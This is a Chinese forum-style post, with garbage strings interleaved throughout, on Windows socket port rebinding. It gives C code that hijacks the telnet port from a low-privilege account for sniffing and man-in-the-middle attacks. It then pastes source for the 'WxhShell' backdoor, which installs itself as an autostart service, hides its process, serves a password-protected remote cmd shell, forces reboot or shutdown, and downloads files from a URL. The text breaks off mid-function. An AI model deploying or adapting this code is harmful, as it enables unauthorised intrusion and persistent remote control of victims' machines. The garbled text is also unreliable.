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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3Ued>8Gv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D!5{CQl R,f"2
k saddr.sin_family = AF_INET; rls\3R(jt 4elA<< saddr.sin_addr.s_addr = htonl(INADDR_ANY); y6`zdB *Fu;sR2y%: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *z6m644H G*'1[Bu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rJUXIV>z Io\tZXB 这意味着什么?意味着可以进行如下的攻击: Q@5v> ` X(dHhO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T)tf!v3v v/z~ j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (c|Ry[$| g ^ 4<ve 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ObEp0-^? o7 1f<&1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *Vr;rk !lk9U^wnd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S?e*<s9k f\h|Z*Bv
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Yu_`
>so Bl*.N9* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _&}z+(Ug *7G5\[gI$ #include 5~\GAjf #include y7/=-~ #include aa,^+^J #include &LDA=B DWORD WINAPI ClientThread(LPVOID lpParam); t# <(Q int main() !B:wzb_ { "HrZv+{ WORD wVersionRequested; %hV]vm DWORD ret; TT3\c,cs WSADATA wsaData; cByUP#hW BOOL val; 2R>!Wj'G+o SOCKADDR_IN saddr; *@zya9y9q SOCKADDR_IN scaddr; {D7v[P+ int err; $.T\dm- SOCKET s; @lTd,V5f SOCKET sc; ve@E.` int caddsize; F%`O$uXA HANDLE mt; ]D&\|,,( DWORD tid; 26[m7\O wVersionRequested = MAKEWORD( 2, 2 ); 1}"Prx- err = WSAStartup( wVersionRequested, &wsaData ); [['
(,,r if ( err != 0 ) { ( Qj;B) printf("error!WSAStartup failed!\n"); `i{p6-U3 return -1; h}yfL@ } NZ:KJ8ea" saddr.sin_family = AF_INET; 4'G osQ85 %WAaoR&u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xa$4P [ N%fDgK saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'A)9h7k} saddr.sin_port = htons(23); w'zSV1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <(W:Q3?s { (%SKTM printf("error!socket failed!\n"); c%5Suu(J6 return -1; Gc2:^FVlh } C1po]Ott* val = TRUE; `=19iAp. //SO_REUSEADDR选项就是可以实现端口重绑定的 'l6SL-
< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?eOw8Rom { Y20T$5{# printf("error!setsockopt failed!\n"); Q1[EiM3 return -1; x yyEaB } UIK4]cYC' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qX:YI3:,@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QW=
X#yrDO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h4N&Ybfo Hd?#^X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A&L2&ofV&q { @H61^K< ret=GetLastError(); kWbD?i- printf("error!bind failed!\n"); y_{fc$_& return -1; Dgm"1+ } Q(/F7"m listen(s,2); O>[B"mMt while(1) xaNM?]% { Z=zD~ka caddsize = sizeof(scaddr); &FY7
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//接受连接请求 tLzKM+Ct# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $\q}A: if(sc!=INVALID_SOCKET) i9v|*ZM" { ie}?}s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); As>P( if(mt==NULL) Yge}P:d9 { tG*HUN?* printf("Thread Creat Failed!\n"); {C5-M! D{< break; C(&3L[ } |Pq z0n=v } m4,inA:o CloseHandle(mt); >(C5&3^ } Y}
crE/ closesocket(s); u+qj_Ej WSACleanup(); *&tv(+P return 0; 5v"S v } lD6PKZ\RIj DWORD WINAPI ClientThread(LPVOID lpParam) lt& c/xi_ { 5E0dX3- SOCKET ss = (SOCKET)lpParam; \T {<{<n SOCKET sc; }TRVCF1 unsigned char buf[4096]; cXbQ SOCKADDR_IN saddr; `c? 8i long num; x P$\
} DWORD val; }xpo@(e DWORD ret; d'[] //如果是隐藏端口应用的话,可以在此处加一些判断 _:+ k|I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 TnJJ& "~3b saddr.sin_family = AF_INET; 4%5 + saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S3ZIC\2 saddr.sin_port = htons(23); {ZKXT8' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8y'.H21:; { Yz? 8n printf("error!socket failed!\n"); MS;^@>|wj return -1; $fG~;`T } YcN &\( val = 100; 6-QcHJ>m6U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Q$9I#rv { 3c[]P2Bh ret = GetLastError(); ~2[mZias return -1; G<Y}QhFU } Z4369 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3]h*6V1$ { Y'76! Y ret = GetLastError(); ;&$f~P Q return -1; J
}|6m9k! } > *soc!# Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nJY3 1(p { vfdTGM`3 printf("error!socket connect failed!\n"); S#nW )=
closesocket(sc); ?<1~KLPMhY closesocket(ss); c+501's return -1; remRmY? } 8dwKJ3*. while(1) YRu#JYti { a V#phP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sPvjJ r"s //如果是嗅探内容的话,可以再此处进行内容分析和记录
Z31a4O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ))4RgS$ num = recv(ss,buf,4096,0); #3_
@aq* if(num>0) m^>v~Q~~ send(sc,buf,num,0); TNlOj a: else if(num==0) ^xQPj6P} break; QBb%$_Z num = recv(sc,buf,4096,0); qK]Om6 a~ if(num>0) R)6"P?h._4 send(ss,buf,num,0); ^Vg-fO]V else if(num==0) aUq2$lw1 break; #@J{ ) } RaOLy \ closesocket(ss); 3L9@ELY4 closesocket(sc); VcLzv{ return 0 ; }J $\<ZT } lr ]C'dD ]A:8x`z#F Hz j%G> ========================================================== 1AQy8n*
[F
24xC+ 下边附上一个代码,,WXhSHELL r9n:[A&HE c^stfFE& ========================================================== d&naJ)IoF) !,R=6b$E5 #include "stdafx.h" yw >Frb5p m]Mm(7v( #include <stdio.h> 1vdG\$ #include <string.h> }^2'@y!( #include <windows.h> k|^`0~E #include <winsock2.h> 4+MaV<!tU^ #include <winsvc.h> u}89v1._Jn #include <urlmon.h> Qh+zs^-? v1p^="IHI #pragma comment (lib, "Ws2_32.lib") WZ=$c]gG #pragma comment (lib, "urlmon.lib") *W2o$_Hs z
fu)X!t^ #define MAX_USER 100 // 最大客户端连接数 >4J(\'}m| #define BUF_SOCK 200 // sock buffer g]E3+: 5dk #define KEY_BUFF 255 // 输入 buffer q@1xYz:J FM7`q7d #define REBOOT 0 // 重启 iXL?ic #define SHUTDOWN 1 // 关机 Hyi'z 1 )r?-_qj= #define DEF_PORT 5000 // 监听端口 ZS[Ut +
]iK^y-.r #define REG_LEN 16 // 注册表键长度 }i J$&CJ #define SVC_LEN 80 // NT服务名长度 [_:
GQ Pbt7T
Q // 从dll定义API l#Vg=zrT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J~C=o(r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^0-e.@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V[n,fEPBr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jB`:(5%RO w F3 MzN=% // wxhshell配置信息 k n/xt struct WSCFG { ';v1AX}5q int ws_port; // 监听端口 !j}L-1*{ l char ws_passstr[REG_LEN]; // 口令 J|vg<[ int ws_autoins; // 安装标记, 1=yes 0=no k5Su&e4]] char ws_regname[REG_LEN]; // 注册表键名 P3nBxw" char ws_svcname[REG_LEN]; // 服务名 zO@>)@~ char ws_svcdisp[SVC_LEN]; // 服务显示名 hzT)5'_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 g>l+oH[Tv| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zrf
tF2U int ws_downexe; // 下载执行标记, 1=yes 0=no "Q{l])N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 7C R6ew~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >P]gjYN (4#iLs }; ;#9ioGx =3!o_ // default Wxhshell configuration Ubgn^+AI struct WSCFG wscfg={DEF_PORT, O<E8,MCA[a "xuhuanlingzhe", \0vs93>? 1, (L yK o "Wxhshell", Cy)N hgz "Wxhshell", K$w;|UJc "WxhShell Service", Qqx!'fft "Wrsky Windows CmdShell Service", H8g%h}6h "Please Input Your Password: ", p_X{'=SQ1 1, 1b86@f " http://www.wrsky.com/wxhshell.exe", ~Z!YB,)bp "Wxhshell.exe" _,IjB/PR( }; pWq+`|l$ PG}Roj
I // 消息定义模块 `oH4"9&]k3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;<_a ,5\Q char *msg_ws_prompt="\n\r? for help\n\r#>"; (\!?>T[En char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; A=IpP}7J char *msg_ws_ext="\n\rExit."; .FC+ char *msg_ws_end="\n\rQuit."; j9l32<h7] char *msg_ws_boot="\n\rReboot..."; EW1,&H char *msg_ws_poff="\n\rShutdown..."; /'5d0' ,M char *msg_ws_down="\n\rSave to "; >^GV
#z U| VL+9#hd char *msg_ws_err="\n\rErr!"; C ocw%Yl char *msg_ws_ok="\n\rOK!"; j>B* 8*Ss _>rM[\|X char ExeFile[MAX_PATH]; ir"t@"Y;o int nUser = 0; G]N3OIw&8 HANDLE handles[MAX_USER]; 9t6c*|60#n int OsIsNt; OM{^F=Ap jT}={[9b SERVICE_STATUS serviceStatus; I
"O^.VC SERVICE_STATUS_HANDLE hServiceStatusHandle; ZWo~!Z [Y MkL2I+* // 函数声明 Ff(};$/&W int Install(void); @!u{>!~0 int Uninstall(void); X^K^az&L int DownloadFile(char *sURL, SOCKET wsh); lWtfcU?S[ int Boot(int flag); {\CWoFht> void HideProc(void); K@{0]6 int GetOsVer(void); n6+h;+8;] int Wxhshell(SOCKET wsl); J"LLj*,0" void TalkWithClient(void *cs); RL/y7M1j int CmdShell(SOCKET sock); Y0T :% int StartFromService(void); MP)Prl> int StartWxhshell(LPSTR lpCmdLine); u}|v;:|j [rWBVfm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v_Sa0}K9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); }7(+#ISK6 ZTV)D // 数据结构和表定义 m*A b<$y SERVICE_TABLE_ENTRY DispatchTable[] = \X _}\_c,d { ,?er AI {wscfg.ws_svcname, NTServiceMain}, ,]7ouH$H} {NULL, NULL} vt2.
i$u }; ]oVP_ &E R[j? \# // 自我安装 "nCK%w= int Install(void) n:OXv}pv { a1y<Y`SC9 char svExeFile[MAX_PATH]; ]vvA]e HKEY key; gBv!E9~l strcpy(svExeFile,ExeFile); "aF2:E' {$hWz ( // 如果是win9x系统,修改注册表设为自启动 ~`FRU/@r if(!OsIsNt) { @jm +TW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ; F'IS/ttX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V [g^R*b RegCloseKey(key); 2Ax"X12{6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PdqvXc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $<nRW*d RegCloseKey(key); oo\^}jb return 0; :_6o|9J\t } rHB>jN@$ } wGNEb } d{JI]
! else { 9 da=q ) hs&?:) // 如果是NT以上系统,安装为系统服务 #$xtUCqX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _>\33V-?b if (schSCManager!=0) P|@[D=y {
~deS* SC_HANDLE schService = CreateService 2PyuM=(Wt ( X^N6s"2 schSCManager, 2=fM\G wscfg.ws_svcname, "h_f-vP wscfg.ws_svcdisp, ,$:u^;V( SERVICE_ALL_ACCESS, !~9ASpqvPy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >W] Wc4\ SERVICE_AUTO_START, 0.x+ H9z SERVICE_ERROR_NORMAL, #~nXAs]Q svExeFile, 5X)QW5A NULL, H!]&"V77 NULL, 8|)!E`TKSV NULL, /B?wn=][ NULL, 8QJr!#u NULL 4)tY6ds)r| ); 2~f*o^%l if (schService!=0) ~/K&=xE { #~-Xt!I CloseServiceHandle(schService); eUQmW^
CloseServiceHandle(schSCManager); sx=1pnP9` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C]mp< strcat(svExeFile,wscfg.ws_svcname); !9
kNL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2WH(c$6PWf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $7Hwu^c( RegCloseKey(key); lhYJectJa return 0; #M!$CGi ( } ffL]_E } eC"e
v5v CloseServiceHandle(schSCManager); \A\ } )uHat# } /ojwOJ dNf9,P_} return 1; j:1N&7<FU } 6Zn[l,\ seK;TQ3/7 // 自我卸载 qpe9?`vVX int Uninstall(void) h )Y.jY { )
6QJZ$ HKEY key; Q3l>xh P{K\}+9F
if(!OsIsNt) { }rmr0Bh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Rw2F?S~)n RegDeleteValue(key,wscfg.ws_regname); hk5!$#^ RegCloseKey(key); o'$- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Vq07R RegDeleteValue(key,wscfg.ws_regname); #pAN
RegCloseKey(key); 9'H:pb2 return 0; 3n7>qZ.d } C<a&]dN/ } -!~pa^j } :dbO|]Xf else { >wqWIw.w> {wSz >, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D]iyr>V6' if (schSCManager!=0) SbUac< { C~>0K,C0^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j-J/yhWO& if (schService!=0) <bW~!lv { U+B{\38
if(DeleteService(schService)!=0) { $ZyOBxI CloseServiceHandle(schService); zp9l u B CloseServiceHandle(schSCManager); =jm\8sl~~ return 0; 9wfE^E1 } |a7Kn/[`, CloseServiceHandle(schService); ^"lEa-g& } VgbT/v CloseServiceHandle(schSCManager); y]R+/ } `Zmdlp@ } GE]
QRKf a|y'-r90 return 1; :/Pxf N5 } 0[YksNNl1 6:QlHuy0nH // 从指定url下载文件 mmjWLrhlu int DownloadFile(char *sURL, SOCKET wsh) \kI{# { P(b~3NB) HRESULT hr; w
`d9" n char seps[]= "/"; R9- mq;u+ char *token; 8.wtv5eZ char *file; 8]#J_|A6Z char myURL[MAX_PATH]; (8ct'Q ; char myFILE[MAX_PATH]; @[\zO'| 1)97AkN(O strcpy(myURL,sURL); <ir]bQT token=strtok(myURL,seps); ^(T~ Q p while(token!=NULL) _@)-#7 { dqBN_P% file=token; Fku<|1}&y token=strtok(NULL,seps); @+Nf@LJ } C
%j%>X` ?c"iV GetCurrentDirectory(MAX_PATH,myFILE); o)b-fAd@$ strcat(myFILE, "\\"); b!J?>du strcat(myFILE, file); * _usVg send(wsh,myFILE,strlen(myFILE),0); /={N^8^=x send(wsh,"...",3,0); SuI^8^f= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]d{lS&PRlg if(hr==S_OK) G"L`9E<0V return 0; hH05p!2 else 805oV(- return 1; rOYYZ)Qw vaVV1 } N3KI6p6 \ 3;uLBuZOCN // 系统电源模块 XN\rq= int Boot(int flag) f4 +P2j { N<KsQsy= HANDLE hToken; y=
8SD7P' TOKEN_PRIVILEGES tkp; t1yfSStp fX\y/C if(OsIsNt) { 9@Cu5U] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \fvm6$ rZ^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y>8JHoV tkp.PrivilegeCount = 1; Ck
m:;q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n8\88d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %'X7T^uE if(flag==REBOOT) { WD kE
5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /#t::b+>x return 0; Be\@n xV[ } 8aM\B%NGWi else { kPA g* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jWvi%Iqi return 0; +.rOqkxJ } W|sU[dxZ } ~GJ;;v1b2 else { f?16%Rk< if(flag==REBOOT) { c|k(_#\B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *.1#+h/]3 return 0; f+)LVT8p } Z?&ZgaSz else { w7q6v> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #IDLfQ5g return 0; U(OkTJxv+ } f|/ ,eP$ } zITxJx s bR*[2 return 1; ofI,[z3 } ]HXHz(?;F SL+n y(y // win9x进程隐藏模块 =@hCc void HideProc(void) 2\#$::B9 { )1GJ^h$l {utnbtmu HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XJwgh y?( if ( hKernel != NULL ) t56PzT'M { 7A$mZPKh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6g#E/{kQw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LN5q_ZvR FreeLibrary(hKernel); YV>&v.x0; } lh XD9ed %503<j return; ~,8#\]xR } m*i,|{UZ :2wT)w z // 获取操作系统版本 ];=|))ky" int GetOsVer(void) 4/ q
BD { yOP$~L#TWs OSVERSIONINFO winfo; vD/l`Ib: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R,OT\FQ< GetVersionEx(&winfo); CC$rt2\e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &wu1Zz[qcz return 1; nhZ/^`Y< else ;/IXw>O(/ return 0; J^PFhu } hew"p( ` WZTv // 客户端句柄模块 Q+_z*
int Wxhshell(SOCKET wsl) `@u9 fx. { -?IF'5z SOCKET wsh; ^6Yt2Bhs struct sockaddr_in client; E2`9H-6e DWORD myID; %* gg6Q l>(*bb1}b while(nUser<MAX_USER) "s t+2#{ { {CTJX2& int nSize=sizeof(client); ^i3!1cS wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dAOJ:
@y if(wsh==INVALID_SOCKET) return 1; K&"X7fQ Nm%#rZrN~Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3mg:9]X9 if(handles[nUser]==0) oBo |eRIt| closesocket(wsh); E7B?G3|z3 else =fB"T+ nUser++; Vk[M .=J } fZnq5rTk" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XSh[#qJ M}=>~TA@ return 0; KhL%ov } /paZJ}Pr. (FGHt/! // 关闭 socket 'coY`B; 8 void CloseIt(SOCKET wsh) iYlkc { 2zX9c<S=5 closesocket(wsh); -<" ;|v4 nUser--; 8;f5;7Mn ExitThread(0); (rBYE[@, } 6
Pdao{P r{Mn{1:O // 客户端请求句柄 um( xZ6&m void TalkWithClient(void *cs) OF-g7s6VH { 3Jj&wHp] J5xZLv SOCKET wsh=(SOCKET)cs; y*=Ipdj char pwd[SVC_LEN]; 4#ikdjB; char cmd[KEY_BUFF]; BV}sN{ char chr[1]; ?<Mx* l int i,j; 'tX}6wurf M+lr [,c while (nUser < MAX_USER) { RfT)dS+rAh 2a 7"~z~ if(wscfg.ws_passstr) { GSfU*@L3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,;<M+V3+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ph%t
#R //ZeroMemory(pwd,KEY_BUFF); r!|h3*YA i=0; U% ?+N while(i<SVC_LEN) { 7[0CVWs, q_"w,28 // 设置超时 =&DuQvN, fd_set FdRead; ln6=XDu struct timeval TimeOut; -q&,7'V FD_ZERO(&FdRead); ;sx4w!Y, FD_SET(wsh,&FdRead); wb##|XyK<c TimeOut.tv_sec=8; S?c<Lf~W TimeOut.tv_usec=0; &(|Ot`el]v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z&jASL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oa M~rze ^nDa-J$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :0bjPQj pwd =chr[0]; 5FsfJpw if(chr[0]==0xd || chr[0]==0xa) { 8;,|z%rS" pwd=0; mSO7 r F break; us.IdG } Fw#1?/K~ i++; h*3{IHAQ } lc]cs D Deq@T { // 如果是非法用户,关闭 socket o5m]Gqa if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B^{~,' } _!w69>Nj TpdYU*z_Br send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xP27j_*m> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $0+&xJVn UVW4KUxR while(1) { p=|S% Tz0XBH_ ZeroMemory(cmd,KEY_BUFF); en6;I[\ SA%)xGRW // 自动支持客户端 telnet标准 C]h_co2eI j=0; @CoUFdbz while(j<KEY_BUFF) { ~~Rq$'q} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X0]$Ovq( l cmd[j]=chr[0]; 1{1mL-I; if(chr[0]==0xa || chr[0]==0xd) { *_H]?& cmd[j]=0; !\'HKk~V break; B$7Cjv } ~aXJ5sY"f& j++; 0<^Qj.(9 } 43~v1pf{! -M4VC^_ // 下载文件 PI"6d)S2 if(strstr(cmd,"http://")) { '?LqVzZI send(wsh,msg_ws_down,strlen(msg_ws_down),0); k`s_31< if(DownloadFile(cmd,wsh)) %MEWw send(wsh,msg_ws_err,strlen(msg_ws_err),0); _lC0XDZ else (`R
heEg@f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [@]i_L[ } %zhSSB=BJ else { lsgZ 8N3rYx;d~ switch(cmd[0]) { j(M.7Z7^ K~fWZT3] // 帮助 nB/`~_9 case '?': { E?VOst& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U99Uny9 break; (
efxw } Ds{DVdqA$c // 安装 &vfeBth case 'i': {
-$,'|\Y if(Install()) <~u-zaN<W send(wsh,msg_ws_err,strlen(msg_ws_err),0); pIKfTkSqH else m';4`Y5- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #eF
k break; z$Qy<_l } 1KjzKFnb // 卸载 L(C0236r case 'r': { 3-)R' if(Uninstall()) X +/^s) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6QNZ/Ox: else ~3|)[R=+p1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HHOqJb{8S break; kPO+M~+n } s%A?B8, // 显示 wxhshell 所在路径 =dp`4N case 'p': { 3PkU>+.6 char svExeFile[MAX_PATH]; jY ;Hdb'' strcpy(svExeFile,"\n\r"); }|nEbM]# strcat(svExeFile,ExeFile); f?(g5o*2 send(wsh,svExeFile,strlen(svExeFile),0); <y#@v G break; iT+t } <)"2rxX&5 // 重启 MVEh<_ case 'b': { E#cu}zi send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hI*6f3Vn(n if(Boot(REBOOT)) JZE<oQ_Jm send(wsh,msg_ws_err,strlen(msg_ws_err),0); hW\'EJ else { F3x*dq2 closesocket(wsh);
6B}V{2 ExitThread(0); *=Ma5J. } dki3( break; H)Z$j&S{ } FMitIM*]
// 关机 PK&X |
h case 'd': { ~RV9'v4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '"h}l` if(Boot(SHUTDOWN)) #fXy4iL l send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXxA" else { _P%PjFQ)
closesocket(wsh); h|<;:o?yh ExitThread(0); iaQFVROu } +^.xLTX`$ break; ('.I)n } g9IIC5 // 获取shell iL~(BnsF case 's': { BU|m{YZ$ CmdShell(wsh); GbvbGEG closesocket(wsh); d-gcXaA-8 ExitThread(0); 7}(YCZny5 break; SzG?m] } %Kh}6 // 退出 BT
f case 'x': { y4H/CH$% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8mO_dQ CloseIt(wsh); SXV2Y- break; Q*8x Bi1 } e'fo^XQn[ // 离开 -:Q"aeC5 case 'q': { R0F&!y!B send(wsh,msg_ws_end,strlen(msg_ws_end),0); tn |H~iF{ closesocket(wsh); <W*6=HZ' WSACleanup(); D"{%[;J exit(1); {9~3y2: break; f^Q)lIv } 6~6 vwp } ~b[5}_L=> } MI`<U:-lP _#
&_`bZH // 提示信息 dX-j3lM:# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %B\VY+ } >B.KI}dE } <co:z<^lqu ,5x9o"N! return; O_*tDq,e } Jb)xzUhES oF s)UR // shell模块句柄 k~JTQh*,w int CmdShell(SOCKET sock) w=~X 6[+3 { 6g)CpZU STARTUPINFO si; @2+'s;mUV ZeroMemory(&si,sizeof(si)); .la_u8A] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l?HC-_Pbh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c2PBYFCyC PROCESS_INFORMATION ProcessInfo; k?Njge6@ char cmdline[]="cmd"; /K<>OyR? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bc2S?u{ return 0; Q@Cy\l } v5W-f0Jo !{A#\~, // 自身启动模式 9CZEP0i7 int StartFromService(void) rt\.|Hr4s { $Ut1vp1$ typedef struct x.
/WP~I { `Zci< DWORD ExitStatus; Z{_YH7_ DWORD PebBaseAddress; Z|d+1i DWORD AffinityMask; =3GgfU5k DWORD BasePriority; yz%o?%@ ULONG UniqueProcessId; {G=|fgz ULONG InheritedFromUniqueProcessId; l^__oam } PROCESS_BASIC_INFORMATION; x,
'KI?TyQ M[0NB2`Wp PROCNTQSIP NtQueryInformationProcess; Uf|@h L(HAAqRnJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )c.!3n/pb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V :lKF') 6N/6WrQEeg HANDLE hProcess; <{z-<D; PROCESS_BASIC_INFORMATION pbi; kU{a!ca4 1CS\1[E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hr*xA x if(NULL == hInst ) return 0; 1#|qT7 gdg
